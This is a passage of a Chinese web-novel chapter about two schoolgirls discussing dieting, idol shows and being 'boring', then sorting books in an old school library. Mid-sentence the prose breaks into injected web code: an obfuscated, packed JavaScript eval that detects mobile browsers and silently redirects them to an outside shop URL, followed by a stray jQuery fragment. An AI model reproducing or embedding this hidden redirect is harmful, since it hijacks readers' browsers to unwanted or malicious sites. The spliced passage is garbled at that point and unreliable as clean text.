“还是想再瘦点,”晓曼说,“书瑶你要不要和我一起减肥?我们瘦到跟嘉怡一样怎么样?”
嘉怡:“我没有减过肥,我是天生就瘦,我妈小时候都担心我营养不良。”
晓曼:“好羡慕哦。”
“我不减。”朱书瑶感到自己的面颊一抽,“我又不去看什么欧巴。”
“不是欧巴啦,是练习生!”晓曼露出一个看不出嘲笑的笑容,“你不知道吗?《爱豆练习生》要在海州体育场开三公了!我好不容易抢到的票呢。”
嘉怡:“羡慕死我了,我爸妈不让我去。”
晓曼:“我让我姐帮我搞的。”
“噢……《爱豆练习生》啊。”说实话,朱书瑶对这个选秀节目完全没兴趣,只是因为想要和两位前桌有共同话题才去看了,又哪里知道他们要来海州开三公,“我以为你要去签售会呢,那你减肥有什么用,他们又看不到你。”
晓曼脸上的笑容明显一僵,随机轻松道:“我本来就要减肥啊,到时候拍照也好出片。”
朱书瑶:“那你加油吧。”
晓曼似乎还想说什么,但这时候老师回来了,吵闹的教室很快安静下来。只是没安静多久就响起了下课铃声,同学们在起身行“老师再见”之后,撒丫子跑出了教室。
嘉怡晓曼脸上露出兴奋的笑容,手拉着手跟着人群奔跑。
唐爱颂把书签放好,合上书准备去食堂吃饭,余光瞅见同桌正幽幽看着她。她便问:“去食堂?”
“当然了!”朱书瑶跳起来,“她们两个都跑了,难道要我一个人去新图书馆啊?”
唐爱颂懒得再和她说这事:“哦,去吃饭吧。”
二人并肩走着,朱书瑶拉着她手臂说:“你刚刚听到晓曼她们说的吗?”
“没有。”
“……你就在边上坐着都没听见?”
“只是知道你们在说话。”
“……”
朱书瑶都郁闷笑了,想说谁坏话都不知道该怎么说起,毕竟当下的氛围要怎么描述呢?她不解道:“你怎么能像个没事人一样?一点也不关心同桌和前桌在说什么?”
唐爱颂模仿她用不解的语气说:“你怎么能这么无聊,总是关心别人的事情?”
“我无聊?”朱书瑶震惊道,“你才无聊吧!你不觉得自己是个很无聊的人吗?好像不上网一样,流行什么不知道,什么梗都没听过……你不和我们聊天其实也有不知道我们在说什么的原因吧?”
说完她就有些后悔,感觉自己会不会话说得太重了?听着很像是忍不住倒出来的心里话……其实就算唐爱颂是个这样的人,她也不该这么“谴责”她的……唉!脑子嗡嗡的。
都做好找补的准备了,没想到却听对方说:“这就是你对无聊的定义?”
“……啊?”
“你口中的无聊是别人觉得的‘无聊’,表现在认为我无法在社交中给予对方有趣好玩的体验,没有让人开心。可对我自己而言……”
唐爱颂冷淡地瞥她一眼:“我一点都不无聊,有很多要做的、能让我自己觉得高兴和充实的事情。”
朱书瑶:O.O
“那你这么说……”她还未反应过来,只是下意识应和道,“也是这么回事?”
唐爱颂:“你觉得自己是个无聊的人?”
朱书瑶都忘了自己在走路,感觉脑子和周遭的人群一样嘈杂凌乱:“啊?我不知道啊,可能对其他人来说是这样吧?搭不上话题的时候……”
“如果你一直是这套定义,那你永远是个无聊的人,因为总有人会这么觉得。”
朱书瑶觉得她的逻辑完全可行。即使她再了解《爱豆练习生》的事情,成为一个对嘉怡和晓曼来说“有聊”的人;那么遇到其他人呢?换到其他领域呢?是不是又变成无知无聊了?
“是哦……”她失神地跟着唐爱颂走,“那你觉得我呢?”
“我无所谓。”
“无所谓?”
唐爱颂耸了下肩:“我又不期望谁让我的生活变得有趣,所以无所谓她无不无聊。”
哦,是这样哦?
得益于新图书馆分去了大部分本该来吃饭的同学,今天的食堂稍微空闲一些,二人很快排到了饭菜,不费力地找到空位坐下来吃饭。
她这会在胡思乱想呢,吃饭慢吞吞的,等回过神来抬头一看,对面的人已经吃好了,这会在拿着MP3看小说。
朱书瑶不知为何有种恐慌的感动,想着赶紧吃完的时候,忽然听到有人叫“爱颂”的名字。转头一看,是她们语文老师,正笑盈盈地从几步远外走过来。
朱书瑶一吓,因为她同桌这会手上还拿着MP3呢。可当事人却没有藏匿的动作,非常自然地和对方问好:“老师好。”
“唔。”朱书瑶咽下口中的饭菜,“老师好……”
她的目光瞟着语文老师的视线,眼睁睁地见她的目光也转向了唐爱颂手中的MP3,但只是弯着眼睛,仿佛没看见似的说:“在吃饭啊?”
“嗯。”
“你等会有空不?”
“什么事?”
语文老师说:“这不是新开了一个图书馆吗,校方就说要把旧图书馆里的书挪过去一些填充书库,也不着急,每天挪一点。本来这事是交给我办的,但这两天老师家里有事,就想麻烦你几天。等我家里事处理好了再接手。”
唐爱颂:“是麻烦。”
朱书瑶吓得埋头苦吃。
语文老师愣了一下后笑道:“确实麻烦,最麻烦的就是还要登记到电脑上去……所以如果你愿意帮老师这个忙的话,老师给你付工资?”
唐爱颂:“那么可以去找贫困生。”
“别这么说嘛,交给你老师放心呀。”
最后唐爱颂还是答应了,要求是免去本学期接下来班内小测的语文试卷作文;可以直接给她0分,反正她就不想写。
语文老师没琢磨就答应了,交代了一会具体事项后就离开了。
朱书瑶有很多槽点一时不知该如何吐槽起,先是目瞪口呆地问:“为什么是免去小测作文。”
唐爱颂:“语文作文很无聊。”
她这里又说到“无聊”这词,让朱书瑶一愣:“是吗?我记得你每次作文分都不错啊?”
“会套路就会了。”
“……你说的是老师教的那些套路吗?”
“差不多。”
朱书瑶心说难道是她没学到位?算了,跟她比什么:“所以你讨厌的东西就是语
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17944030|205330||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
文作文?为什么呀?”
“很无聊。”
“……再多说几个字呢?”
唐爱颂耐烦道:“用套路构成的通篇政治正确的虚假文章去得到有个人喜好的批卷老师的评价……无聊透顶。”
“可是考试不就是这样吗?”
“一加一等于二的标准答案当然无所谓,但连表达作者感情的作文都要被局限和被不知道哪来的人评分定结果……很合理?”
“噢……”
朱书瑶少见她这样表达自己的喜恶,毕竟大多数时候她都是“无所谓”地不管别人怎么样,因此朱书瑶也不知该回什么;感觉就算是应和了,也会被对方看出来其实没搞清楚怎么回事。
因为她在这事上是无所谓的,总之是考试罢了,学习对她来说就是强人所难的事情,也就无所谓是一加一还是作文了。
吃完饭后,唐爱颂要去旧图书馆。朱书瑶就要陪她去,保证自己不添乱,去的路上还吐槽:
“我真是越活越过去了,别人都去新图书馆,”
“你可以回去。”
“不要嘛。”
旧图书馆的地理位置不佳,处于平时没人会路过的学校后花园边上,过去的路上还有没及时除干净的杂草野花。一推开门,迎面扑来不新鲜的灰尘气息,仿佛打开埋在地下沉睡千年的宝箱。
“唔……”朱书瑶捂住口鼻,“是不是要带个口罩?”
临时去哪里找。
唐爱颂:“把门和窗户都打开。”
“噢噢。”
旧图书馆里全是没人的痕迹,唐爱颂想如果谁要在这里作案的话,应该难度挺高的。她在杂物间里找到一个小推车,又把死掉的抹布唤醒了,往图书馆边上的户外洗手池来回跑了几趟,总算把小推车擦干净了,卡在门口风干。
毕竟不是来大扫除的,需要用的东西准备好就行。二人很快就开始选书,但选来的书还要用纸巾擦去表面的灰尘,再提着哆嗦几下,象征性地抖落一些藏在几百张页面中的脏东西。
“在这里都没人看,换去新图书馆就会有人看吗?”朱书瑶一边干着活一边说闲话,她就是要嘴上说点什么,“新图书馆那边这时候肯定很热闹吧?啧,只见新人笑不见旧人哭!”
唐爱颂:“但见新人笑,那闻旧人哭。”
“你听懂就行啦。”
唐爱颂:“考试别写错。”
“好吧好吧。”
今天是第一天,前头还有打扫工作,她们便没整理出来多少;反正今天新图书馆那边肯定很多人,运书过去还要登记,非常不方便,唐爱颂就决定明天中午再来。
第二天午休时按计划运送去第一批。
朱书瑶托自己帮忙的福,没有等到下周才和唐爱颂来到新图书馆。只是今天过来瞧了瞧,也没有什么新奇的嘛,就是普通的、新的图书馆,哪里比得上她天南海北去旅游时看过的“著名景点”。
“你知道那个爱尔兰的图书馆吗?叫什么三二一的,那个有意思。”朱书瑶和同桌说,“站在那个长廊望进去,像走进古书的一层层页面中似的。”
唐爱颂推着推车往前走:“圣三一。”
“对对,奇怪的名字。你去过吗?”
“没有。”